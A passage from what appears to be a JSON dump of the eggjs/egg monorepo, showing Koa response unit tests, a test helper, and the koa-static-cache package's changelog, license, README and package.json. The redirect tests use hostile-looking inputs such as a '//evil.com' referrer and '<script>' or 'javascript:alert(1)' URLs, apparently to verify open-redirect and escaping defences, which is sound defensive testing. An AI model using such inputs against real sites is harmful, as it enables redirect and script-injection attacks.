ctx.redirect('back', '/index.html');\n      assert.equal(ctx.response.header.location, '/index.html');\n    });\n\n    it('should default redirect to /', () => {\n      const ctx = context();\n      ctx.redirect('back');\n      assert.equal(ctx.response.header.location, '/');\n    });\n\n    it('should redirect to the same origin referrer', () => {\n      const ctx = context();\n      ctx.req.headers.host = 'example.com';\n      ctx.req.headers.referrer = 'https://example.com/login';\n      ctx.redirect('back');\n      assert.strictEqual(ctx.response.header.location, 'https://example.com/login');\n    });\n\n    it('should redirect to root if the same origin referrer is not present', () => {\n      const ctx = context();\n      ctx.req.headers.host = 'example.com';\n      ctx.req.headers.referrer = 'https://other.com/login';\n      ctx.redirect('back');\n      assert.strictEqual(ctx.response.header.location, '/');\n    });\n\n    it('should fix Trailing Double-Slash security issue', () => {\n      const ctx = context({ url: '/', headers: { host: 'example.com' } });\n      ctx.req.headers.referrer = '//evil.com/login/';\n      ctx.redirect('back');\n      assert.equal(ctx.response.header.location, '/');\n\n      ctx.redirect('back', '/home');\n      assert.equal(ctx.response.header.location, '/home');\n    });\n  });\n\n  describe('when html is accepted', () => {\n    it('should respond with html', () => {\n      const ctx = context();\n      const url = 'http://google.com';\n      ctx.header.accept = 'text/html';\n      ctx.redirect(url);\n      assert.equal(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n      assert.equal(ctx.body, `Redirecting to ${url}/.`);\n    });\n\n    it('should escape the url', () => {\n      const ctx = context();\n      const url = '<script>';\n      ctx.header.accept = 'text/html';\n      ctx.redirect(url);\n      assert.equal(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n      assert.equal(ctx.body, 'Redirecting to &lt;script&gt;.');\n    });\n\n    it('should keep raw url', () => {\n      const ctx = context();\n      ctx.header.accept = 'text/html';\n      // oxlint-disable-next-line no-script-url\n      ctx.redirect('javascript:alert(1)');\n      assert.equal(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n      assert.equal(ctx.body, 'Redirecting to javascript:alert(1).');\n    });\n  });\n\n  describe('when text is accepted', () => {\n    it('should respond with text', () => {\n      const ctx = context();\n      const url = 'http://google.com';\n      ctx.header.accept = 'text/plain';\n      ctx.redirect(url);\n      assert.equal(ctx.body, `Redirecting to ${url}/.`);\n    });\n  });\n\n  describe('when status is 301', () => {\n    it('should not change the status code', () => {\n      const ctx = context();\n      const url = 'http://google.com';\n      ctx.status = 301;\n      ctx.header.accept = 'text/plain';\n      ctx.redirect('http://google.com');\n      assert.equal(ctx.status, 301);\n      assert.equal(ctx.body, `Redirecting to ${url}/.`);\n    });\n  });\n\n  describe('when status is 304', () => {\n    it('should change the status code', () => {\n      const ctx = context();\n      const url = 'http://google.com';\n      ctx.status = 304;\n      ctx.header.accept = 'text/plain';\n      ctx.redirect('http://google.com');\n      assert.equal(ctx.status, 302);\n      assert.equal(ctx.body, `Redirecting to ${url}/.`);\n    });\n  });\n\n  describe('when content-type was present', () => {\n    it('should overwrite content-type', () => {\n      const ctx = context();\n      ctx.body = {};\n      const url = 'http://google.com/?foo=bar';\n      ctx.header.accept = 'text/plain';\n      ctx.redirect(url);\n      assert.equal(ctx.status, 302);\n      assert.equal(ctx.body, `Redirecting to ${url}.`);\n      assert.equal(ctx.type, 'text/plain');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/remove.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.remove(name)', () => {\n  it('should remove a field', () => {\n    const ctx = context();\n    ctx.set('x-foo', 'bar');\n    ctx.remove('x-foo');\n    assert.deepStrictEqual(ctx.response.header, {});\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/set.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.set(name, val)', () => {\n  it('should set a field value', () => {\n    const ctx = context();\n    ctx.set('x-foo', 'bar');\n    assert.strictEqual(ctx.response.header['x-foo'], 'bar');\n  });\n\n  it('should coerce number to string', () => {\n    const ctx = context();\n    ctx.set('x-foo', 5);\n    assert.strictEqual(ctx.response.header['x-foo'], '5');\n  });\n\n  it('should coerce undefined to string', () => {\n    const ctx = context();\n    ctx.set('x-foo', undefined);\n    assert.strictEqual(ctx.response.header['x-foo'], 'undefined');\n  });\n\n  it('should set a field value of array', () => {\n    const ctx = context();\n    ctx.set('x-foo', ['foo', 'bar', 123]);\n    assert.deepStrictEqual(ctx.response.header['x-foo'], ['foo', 'bar', '123']);\n  });\n});\n\ndescribe('ctx.set(object)', () => {\n  it('should set multiple fields', () => {\n    const ctx = context();\n\n    ctx.set({\n      foo: '1',\n      bar: '2',\n    });\n\n    assert.strictEqual(ctx.response.header.foo, '1');\n    assert.strictEqual(ctx.response.header.bar, '2');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/socket.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport Stream from 'node:stream';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.socket', () => {\n  it('should return the request socket object', () => {\n    const res = response();\n    assert.strictEqual(res.socket instanceof Stream, true);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/status.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport statuses from 'statuses';\nimport { describe, it, beforeEach } from 'vitest';\n\nimport Koa from '../../src/index.ts';\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.status=', () => {\n  describe('when a status code', () => {\n    describe('and valid', () => {\n      it('should set the status', () => {\n        const res = response();\n        res.status = 403;\n        assert.strictEqual(res.status, 403);\n      });\n\n      it('should not throw', () => {\n        response().status = 403;\n      });\n    });\n\n    describe('and invalid', () => {\n      it('should throw', () => {\n        assert.throws(() => {\n          response().status = 99;\n        }, /invalid status code: 99/);\n      });\n    });\n\n    describe('and custom status', () => {\n      beforeEach(() => {\n        statuses.message['700'] = 'custom status';\n      });\n\n      it('should set the status', () => {\n        const res = response();\n        res.status = 700;\n        assert.strictEqual(res.status, 700);\n      });\n\n      it('should not throw', () => {\n        response().status = 700;\n      });\n    });\n\n    describe('and HTTP/2', () => {\n      it('should not set the status message', () => {\n        const res = response({\n          httpVersionMajor: 2,\n          httpVersion: '2.0',\n        });\n        res.status = 200;\n        assert.ok(!res.res.statusMessage);\n      });\n    });\n  });\n\n  describe('when a status string', () => {\n    it('should throw', () => {\n      assert.throws(() => {\n        // @ts-expect-error for testing\n        response().status = 'forbidden';\n      }, /status code must be a number/);\n    });\n  });\n\n  function strip(status: number) {\n    it('should strip content related header fields', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = { foo: 'bar' };\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n        ctx.set('Content-Length', '15');\n        ctx.set('Transfer-Encoding', 'chunked');\n        ctx.status = status;\n        assert.equal(ctx.response.header['content-type'], undefined);\n        assert.equal(ctx.response.header['content-length'], undefined);\n        assert.equal(ctx.response.header['transfer-encoding'], undefined);\n      });\n\n      const res = await request(app.callback()).get('/').expect(status);\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), false);\n      assert.equal(Object.hasOwn(res.headers, 'content-encoding'), false);\n      assert.equal(res.text.length, 0);\n    });\n\n    it('should strip content related header fields after status set', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = status;\n        ctx.body = { foo: 'bar' };\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n        ctx.set('Content-Length', '15');\n        ctx.set('Transfer-Encoding', 'chunked');\n      });\n\n      const res = await request(app.callback()).get('/').expect(status);\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), false);\n      assert.equal(Object.hasOwn(res.headers, 'content-encoding'), false);\n      assert.equal(res.text.length, 0);\n    });\n  }\n\n  describe('when 204', () => strip(204));\n\n  describe('when 205', () => strip(205));\n\n  describe('when 304', () => strip(304));\n});\n"
  },
  {
    "path": "packages/koa/test/response/type.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.type=', () => {\n  describe('with a mime', () => {\n    it('should set the Content-Type', () => {\n      const ctx = context();\n      ctx.type = 'text/plain';\n      assert.strictEqual(ctx.type, 'text/plain');\n      assert.strictEqual(ctx.response.header['content-type'], 'text/plain; charset=utf-8');\n    });\n  });\n\n  describe('with an extension', () => {\n    it('should lookup the mime', () => {\n      const ctx = context();\n      ctx.type = 'json';\n      assert.strictEqual(ctx.type, 'application/json');\n      assert.strictEqual(ctx.response.header['content-type'], 'application/json; charset=utf-8');\n    });\n  });\n\n  describe('without a charset', () => {\n    it('should default the charset', () => {\n      const ctx = context();\n      ctx.type = 'text/html';\n      assert.strictEqual(ctx.type, 'text/html');\n      assert.strictEqual(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n    });\n  });\n\n  describe('with a charset', () => {\n    it('should not default the charset', () => {\n      const ctx = context();\n      ctx.type = 'text/html; charset=foo';\n      assert.strictEqual(ctx.type, 'text/html');\n      assert.strictEqual(ctx.response.header['content-type'], 'text/html; charset=foo');\n    });\n  });\n\n  describe('with an unknown extension', () => {\n    it('should not set a content-type', () => {\n      const ctx = context();\n      ctx.type = 'asdf';\n      assert.ok(!ctx.type);\n      assert.ok(!ctx.response.header['content-type']);\n    });\n  });\n});\n\ndescribe('ctx.type', () => {\n  describe('with no Content-Type', () => {\n    it('should return \"\"', () => {\n      const ctx = context();\n      assert.ok(!ctx.type);\n    });\n  });\n\n  describe('with a Content-Type', () => {\n    it('should return the mime', () => {\n      const ctx = context();\n      ctx.type = 'json';\n      assert.strictEqual(ctx.type, 'application/json');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/vary.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.vary(field)', () => {\n  describe('when Vary is not set', () => {\n    it('should set it', () => {\n      const ctx = context();\n      ctx.vary('Accept');\n      assert.strictEqual(ctx.response.header.vary, 'Accept');\n    });\n  });\n\n  describe('when Vary is set', () => {\n    it('should append', () => {\n      const ctx = context();\n      ctx.vary('Accept');\n      assert.strictEqual(ctx.response.header.vary, 'Accept');\n      ctx.vary('Accept-Encoding');\n      assert.strictEqual(ctx.response.header.vary, 'Accept, Accept-Encoding');\n    });\n  });\n\n  describe('when Vary already contains the value', () => {\n    it('should not append', () => {\n      const ctx = context();\n      ctx.vary('Accept');\n      ctx.vary('Accept-Encoding');\n      ctx.vary('Accept');\n      ctx.vary('Accept-Encoding');\n      assert.strictEqual(ctx.response.header.vary, 'Accept, Accept-Encoding');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/writable.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport type { Server } from 'node:http';\nimport net, { type AddressInfo } from 'node:net';\nimport { setTimeout as sleep } from 'node:timers/promises';\n\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('res.writable', () => {\n  describe('when continuous requests in one persistent connection', () => {\n    function requestTwice(server: Server, done: (err: Error | null, datas: Buffer[]) => void) {\n      const port = (server.address() as AddressInfo).port;\n      const buf = Buffer.from('GET / HTTP/1.1\\r\\nHost: localhost:' + port + '\\r\\nConnection: keep-alive\\r\\n\\r\\n');\n      const client = net.connect(port);\n      const datas: Buffer[] = [];\n      client\n        .on('error', done)\n        .on('data', (data) => datas.push(data))\n        .on('end', () => done(null, datas));\n      setImmediate(() => client.write(buf));\n      setImmediate(() => client.write(buf));\n      setTimeout(() => client.end(), 100);\n    }\n\n    it('should always be writable and respond to all requests', async () => {\n      const app = new Koa();\n      let count = 0;\n      app.use((ctx) => {\n        count++;\n        ctx.body = 'request ' + count + ', writable: ' + ctx.writable;\n      });\n\n      const server = app.listen();\n      requestTwice(server, (_: Error | null, datas: Buffer[]) => {\n        const responses = Buffer.concat(datas).toString();\n        assert.equal(/request 1, writable: true/.test(responses), true);\n        assert.equal(/request 2, writable: true/.test(responses), true);\n      });\n      await sleep(100);\n    });\n  });\n\n  describe('when socket closed before response sent', () => {\n    function requestClosed(server: Server) {\n      const port = (server.address() as AddressInfo).port;\n      const buf = Buffer.from('GET / HTTP/1.1\\r\\nHost: localhost:' + port + '\\r\\nConnection: keep-alive\\r\\n\\r\\n');\n      const client = net.connect(port);\n      setImmediate(() => {\n        client.write(buf);\n        client.end();\n      });\n    }\n\n    it('should not be writable', async () => {\n      const app = new Koa();\n      let writable = false;\n      app.use(async (ctx) => {\n        await sleep(1000);\n        if (ctx.writable) {\n          writable = true;\n        }\n      });\n      const server = app.listen();\n      requestClosed(server);\n      await sleep(100);\n      assert.equal(writable, false);\n    });\n  });\n\n  describe('when response finished', () => {\n    function request(server: Server) {\n      const port = (server.address() as AddressInfo).port;\n      const buf = Buffer.from('GET / HTTP/1.1\\r\\nHost: localhost:' + port + '\\r\\nConnection: keep-alive\\r\\n\\r\\n');\n      const client = net.connect(port);\n      setImmediate(() => {\n        client.write(buf);\n      });\n      setTimeout(() => {\n        client.end();\n      }, 100);\n    }\n\n    it('should not be writable', async () => {\n      const app = new Koa();\n      let writable = false;\n      app.use((ctx) => {\n        ctx.res.end();\n        if (ctx.writable) {\n          writable = true;\n        }\n      });\n      const server = app.listen();\n      request(server);\n      await sleep(100);\n      assert.equal(writable, false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/test-helpers/context.ts",
    "content": "import stream from 'node:stream';\n\nimport { Application as Koa, type Context } from '../../src/application.ts';\nimport type { Request } from '../../src/request.ts';\nimport type { Response } from '../../src/response.ts';\n\n// oxlint-disable-next-line typescript/no-explicit-any\nexport default function context(req?: any, res?: any, app?: Koa): Context {\n  const socket = new stream.Duplex();\n  req = { headers: {}, socket, ...stream.Readable.prototype, ...req };\n  res = { _headers: {}, socket, ...stream.Writable.prototype, ...res };\n  req.socket.remoteAddress = req.socket.remoteAddress || '127.0.0.1';\n  app = app || new Koa();\n  res.getHeader = (k: string) => res._headers[k.toLowerCase()];\n  res.hasHeader = (k: string) => k.toLowerCase() in res._headers;\n  res.setHeader = (k: string, v: string | string[]) => {\n    res._headers[k.toLowerCase()] = v;\n  };\n  res.removeHeader = (k: string) => {\n    // oxlint-disable-next-line no-dynamic-delete\n    delete res._headers[k.toLowerCase()];\n  };\n  res.getHeaders = () => res._headers;\n  return app.createContext(req, res);\n}\n\nexport function request(...args: unknown[]): Request {\n  return context(...args).request;\n}\n\nexport function response(...args: unknown[]): Response {\n  return context(...args).response;\n}\n"
  },
  {
    "path": "packages/koa/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/koa/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n  unused: {\n    ignore: ['@types/content-disposition'],\n  },\n});\n"
  },
  {
    "path": "packages/koa-static-cache/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\ntest/fixtures/**/run\n.DS_Store\n.tshy*\n.eslintcache\ndist\npackage-lock.json\n.package-lock.json\n"
  },
  {
    "path": "packages/koa-static-cache/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 7.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [6.1.0](https://github.com/eggjs/koa-static-cache/compare/v6.0.0...v6.1.0) (2025-03-12)\n\n\n### Features\n\n* use @eggjs/compressible ([#3](https://github.com/eggjs/koa-static-cache/issues/3)) ([5b68e18](https://github.com/eggjs/koa-static-cache/commit/5b68e1864f8b952a6ce37d944975b7a5c0ba2e0a))\n\n## [6.0.0](https://github.com/eggjs/koa-static-cache/compare/v5.1.4...v6.0.0) (2025-01-12)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n\t- Added static cache middleware for Koa.\n\t- Introduced TypeScript support for the package.\n\t- Implemented comprehensive configuration for package management.\n\n- **Infrastructure**\n\t- Updated GitHub Actions workflows for CI/CD.\n\t- Added ESLint configuration.\n\t- Updated project build and testing configurations.\n\n- **Documentation**\n\t- Refreshed README with new badges and installation instructions.\n\t- Updated package description and licensing.\n\n- **Maintenance**\n\t- Upgraded Node.js engine support to version 18.19.0+.\n\t- Migrated package to `@eggjs/koa-static-cache`.\n\t- Removed legacy Travis CI configuration.\n\t- Added new TypeScript configuration file.\n- Removed unnecessary files and configurations, streamlining the project\nstructure.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#1](https://github.com/eggjs/koa-static-cache/issues/1)) ([b0524d9](https://github.com/eggjs/koa-static-cache/commit/b0524d95f2f9ac53fb4a8835931c38ff2b33bb80))\n\n5.1.4 / 2020-08-03\n==================\n\n**fixes**\n  * [[`2735fab`](http://github.com/koajs/static-cache/commit/2735fab6b9303da8ea941eab66f719440e0f2763)] - fix: remove unused require (dead-horse <<dead_horse@qq.com>>)\n  * [[`e12d920`](http://github.com/koajs/static-cache/commit/e12d9202e4900f17f7808e505ae39c161615be7f)] - fix: correct the time compare (dead-horse <<dead_horse@qq.com>>)\n  * [[`c24e6c3`](http://github.com/koajs/static-cache/commit/c24e6c3fe59b896b92a69045deaa0766f6c40836)] - fix: mtime (#93) (Jlin <<565774991@qq.com>>)\n\n5.1.3 / 2020-04-29\n==================\n\n**fixes**\n  * [[`dca1edf`](http://github.com/koajs/static-cache/commit/dca1edf0b641993921b33c0289dbd73ff4bc1c13)] - fix: alias should work when preload = false (#84) (TZ | 天猪 <<atian25@qq.com>>)\n\n5.1.2 / 2018-02-06\n==================\n\n**others**\n  * [[`ba60f3d`](http://github.com/koajs/static-cache/commit/ba60f3d859e98efd41a625fd0410ff4d930bf37b)] - deps: use ^ (dead-horse <<dead_horse@qq.com>>)\n  * [[`82274d0`](http://github.com/koajs/static-cache/commit/82274d02d3601282cb363a2339081393ef2bf83d)] - deps: Update package.json bump debug and mz versions (#73) (Iain Maitland <<imaitland@protonmail.com>>)\n\n5.1.1 / 2017-06-13\n==================\n\n  * fix: only load file under options.dir (#67)\n\n5.1.0 / 2017-06-01\n==================\n\n  * feat: files support lru (#64)\n  * Update mz (#61)\n\n5.0.1 / 2017-04-19\n==================\n\n  * Add node.js v7.6.0 support (#58)\n\n5.0.0 / 2017-04-01\n==================\n\n  * Support Koa 2 (#57)\n\n4.0.0 / 2017-02-21\n==================\n\n  * refactor: check prefix first to avoid calculate (#56)\n\n3.2.0 / 2017-01-07\n==================\n\n  * feat: support options.preload (#55)\n\n3.1.7 / 2016-04-07\n==================\n\n  * update mz to 2.4.0\n\n3.1.6 / 2016-03-22\n==================\n\n  * fix: don't catch downstream error\n\n3.1.5 / 2016-03-02\n==================\n\n  * fix: dynamic load file bug on windows platform\n\n3.1.4 / 2016-01-04\n==================\n\n  * bump deps\n  * use mz\n\n3.1.3 / 2015-11-26\n==================\n\n  * Fix broken mtime comparison\n\n3.1.2 / 2015-07-08\n==================\n\n  * bugfix: error on dynamic files\n\n3.1.1 / 2015-04-17\n==================\n\n  * fix: options.prefix bug in windows, fixes #39\n\n3.1.0 / 2015-03-28\n==================\n\n  * Merge pull request #33 from AlexeyKhristov/gz\n\n3.0.3 / 2015-03-28\n==================\n\n  * fix problem, cache is not used in dynamic mode\n\n3.0.2 / 2015-03-18\n==================\n\n  * fix options.prefix bug in windows, fixes #36\n\n3.0.1 / 2015-01-06\n==================\n\n  * feat(dynamic): add dynamic option to support dynamic load\n  * fix(dynamic): use stat to detect folder\n\n3.0.0 / 2015-01-06\n==================\n\n  * fix(test): typo\n  * fix(buffer): keep the old logic of treat unbuffered file\n  * feat: add opt.buffer false to serve file not cache at all\n  * fix: support load file dynamic, close #30\n\n2.0.2 / 2015-01-05\n==================\n\n  * fix normalize bug in windows, fixes #29\n\n2.0.1 / 2014-12-02\n==================\n\n  * accept abnormal path, like: //index.html\n\n2.0.0 / 2014-11-14\n==================\n\n  * bump koa\n  * only response GET and HEAD\n\n1.2.0 / 2014-09-18\n==================\n\n  * bump compressible and mime-types\n  * decodeURI when use this.path as key to fetch value from files object\n\n1.1.0 / 2014-07-16\n==================\n\n  * replace mime by mime-types\n  * remove onerror and destroy, let koa hanlde these stuff\n\n1.0.10 / 2014-05-18\n==================\n\n  * bump fs-readdir-recursive, fixed #14\n  * fix bad argument handling, fixed #20\n  * should not return gzip buffer when accept encoding not include gzip\n\n1.0.9 / 2014-03-31\n==================\n\n  * add url prefix option\n\n1.0.8 / 2014-03-31\n==================\n\n  * support options.dir, default to process.cwd()\n  * add vary, check file's length when gzip\n  * Ensure files can be gzipped via compressible.\n\n1.0.7 / 2014-03-26\n==================\n\n  * add options.gzip to control gzip, support stream's gzip\n  * add gzip support for buffers\n\n1.0.3 / 2014-01-14\n==================\n\n * update `on-socket-error`\n\n1.0.0 / 2013-12-21\n==================\n\n * use `yield* next`\n"
  },
  {
    "path": "packages/koa-static-cache/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2025 - present eggjs and the contributors.\nCopyright (c) 2013 Jonathan Ong me@jongleberry.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/koa-static-cache/README.md",
    "content": "# eggjs/koa-static-cache\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/koa-static-cache.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/koa-static-cache.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/koa-static-cache\n[snyk-image]: https://snyk.io/test/npm/@eggjs/koa-static-cache/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/koa-static-cache\n[download-image]: https://img.shields.io/npm/dm/@eggjs/koa-static-cache.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/koa-static-cache\n\nStatic cache middleware for koa.\n\nDifferences between this library and other libraries such as [static](https://github.com/koajs/static):\n\n- There is no directory or `index.html` support.\n- You may optionally store the data in memory - it streams by default.\n- Caches the assets on initialization - you need to restart the process to update the assets.(can turn off with options.preload = false)\n- Uses MD5 hash sum as an ETag.\n- Uses `.gz` files if present on disk, like nginx gzip_static module\n\n> Forked from https://github.com/koajs/static-cache, refactor with TypeScript to support CommonJS and ESM both.\n\n## Installation\n\n```bash\nnpm install @eggjs/koa-static-cache\n```\n\n## API\n\n### staticCache([options])\n\n```js\nconst path = require('path');\nconst { staticCache } = require('@eggjs/koa-static-cache');\n\napp.use(\n  staticCache(path.join(__dirname, 'public'), {\n    maxAge: 365 * 24 * 60 * 60,\n  })\n);\n```\n\n- `options.dir` (str) - the directory you wish to serve, default to `process.cwd`.\n- `options.maxAge` (int) - cache control max age for the files, `0` by default.\n- `options.cacheControl` (str) - optional cache control header. Overrides `options.maxAge`.\n- `options.buffer` (bool) - store the files in memory instead of streaming from the filesystem on each request.\n- `options.gzip` (bool) - when request's accept-encoding include gzip, files will compressed by gzip.\n- `options.usePrecompiledGzip` (bool) - try use gzip files, loaded from disk, like nginx gzip_static\n- `options.alias` (obj) - object map of aliases. See below.\n- `options.prefix` (str) - the url prefix you wish to add, default to `''`.\n- `options.dynamic` (bool) - dynamic load file which not cached on initialization.\n- `options.filter` (function | array) - filter files at init dir, for example - skip non build (source) files. If array set - allow only listed files\n- `options.preload` (bool) - caches the assets on initialization or not, default to `true`. always work together with `options.dynamic`.\n- `options.files` (obj) - optional files object. See below.\n\n### Aliases\n\nFor example, if you have this `alias` object:\n\n```js\nconst options = {\n  alias: {\n    '/favicon.png': '/favicon-32.png',\n  },\n};\n```\n\nThen requests to `/favicon.png` will actually return `/favicon-32.png` without redirects or anything.\nThis is particularly important when serving [favicons](https://github.com/audreyr/favicon-cheat-sheet) as you don't want to store duplicate images.\n\n### Files\n\nYou can pass in an optional files object.\nThis allows you to do two things:\n\n#### Combining directories into a single middleware\n\nInstead of doing:\n\n```js\napp.use(staticCache('/public/js'));\napp.use(staticCache('/public/css'));\n```\n\nYou can do this:\n\n```js\nconst files = {};\n\n// Mount the middleware\napp.use(staticCache('/public/js', {}, files));\n\n// Add additional files\nstaticCache('/public/css', {}, files);\n```\n\nThe benefit is that you'll have one less function added to the stack as well as doing one hash lookup instead of two.\n\n#### Editing the files object\n\nFor example, if you want to change the max age of `/package.json`, you can do the following:\n\n```js\nconst files = {};\n\napp.use(\n  staticCache(\n    '/public',\n    {\n      maxAge: 60 * 60 * 24 * 365,\n    },\n    files\n  )\n);\n\nfiles['/package.json'].maxAge = 60 * 60 * 24 * 30;\n```\n\n#### Using a LRU cache to avoid OOM when dynamic mode enabled\n\nYou can pass in a lru cache instance which has tow methods: `get(key)` and `set(key, value)`.\n\n```js\nconst LRU = require('lru-cache');\nconst files = new LRU({ max: 1000 });\n\napp.use(\n  staticCache({\n    dir: '/public',\n    dynamic: true,\n    files,\n  })\n);\n```\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/koa-static-cache/package.json",
    "content": "{\n  \"name\": \"@eggjs/koa-static-cache\",\n  \"version\": \"7.0.2-beta.5\",\n  \"description\": \"Static cache middleware for koa\",\n  \"keywords\": [\n    \"cache\",\n    \"file\",\n    \"gzip\",\n    \"koa\",\n    \"middleware\",\n    \"sendfile\",\n    \"static\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/koa-static-cache\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/koa-static-cache\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/compressible\": \"^3.0.0\",\n    \"fs-readdir-recursive\": \"^1.1.0\",\n    \"mime-types\": \"^3.0.0\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/koa\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/fs-readdir-recursive\": \"catalog:\",\n    \"@types/mime-types\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"ylru\": \"^2.0.0\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/koa-static-cache/src/index.ts",
